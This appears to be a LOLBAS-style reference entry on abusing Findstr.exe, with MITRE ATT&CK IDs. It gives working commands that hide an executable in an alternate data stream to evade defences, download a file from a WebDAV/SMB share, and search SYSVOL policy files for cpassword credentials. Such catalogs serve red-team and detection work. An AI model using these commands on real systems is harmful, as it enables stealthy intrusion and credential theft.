Findstr.exe

Write to ADS, discover, or download files with Findstr.exe

Add a file to an alternate data stream to hide from defensive counter measures

findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe

Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file. — MITRE: T1564.004 — Privileges: User

Add a file to an alternate data stream from a webdav server to hide from defensive counter measures

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file. — MITRE: T1564.004 — Privileges: User

Credentials

Find credentials stored in cpassword attrbute

findstr /S /I cpassword \\sysvol\policies\*.xml

Search for stored password in Group Policy files stored on SYSVOL. — MITRE: T1552.001 — Privileges: User

Download

Download/Copy file from webdav server

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file. — MITRE: T1105 — Privileges: User